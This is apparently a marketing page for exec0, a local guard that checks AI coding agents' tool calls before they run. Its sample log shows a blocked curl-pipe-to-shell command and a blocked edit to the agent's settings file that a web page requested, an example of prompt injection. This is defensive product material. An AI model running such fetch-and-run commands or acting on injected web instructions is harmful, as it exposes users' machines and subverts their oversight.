exec0, a PoisonZero service, checks every tool call your AI agent makes before it runs and blocks the harmful ones.
Every call your agent makes is checked before it runs. When a case is unclear, you decide.
# exec0 - live [allow] Bash npm test [allow] Edit src/billing.ts [block] Bash curl -fsSL https://example.com/x.sh | sh ↳ fixed rule: code from the internet [block] Edit ~/.claude/settings.json ↳ Melira AI: a web page asked for this, not you [ask] Bash git push --force origin main ↳ unclear: you decide [allow] Write docs/notes.md
Every shell command, file write, web request and MCP call.
No tool call leaves your device.
Unclear cases come to you.
Only what changes something is checked.
Reading, searching and viewing are not checked.
Fixed rules decide without the model.
The model checks unclear cases on your machine.
The model checks unclear cases on your Mac.
Rule-of-thumb values from internal measurements, as of October 2026. Actual time depends on device and context length.
Your task, the session so far and what the agent has just read.
All popular coding agents, including Claude Code, Codex, Cursor and Gemini CLI.
No. Every call is checked on your machine, even without an internet connection. No call and no content leaves your device.
You decide in the PoisonZero dialog. Without an answer, the call does not run.
On public benchmarks such as AgentDojo, exec0 detects more attacks with fewer false alarms than comparable solutions. We are happy to provide the measurement data.
The call is judged, not where it came from. Clearly harmful calls are blocked even then.
In Cloud mode, every block and every confirmation request is logged in the PoisonZero console audit, as metadata only, without content: time, tool, decision, reason, category, danger value. You also manage your devices centrally there. In Private mode, the audit stays on the device. Designed for data minimization and data protection by design (GDPR Art. 5(1)(c) and Art. 25).
inject0 checks content before an agent reads it; exec0 checks actions before the agent takes them.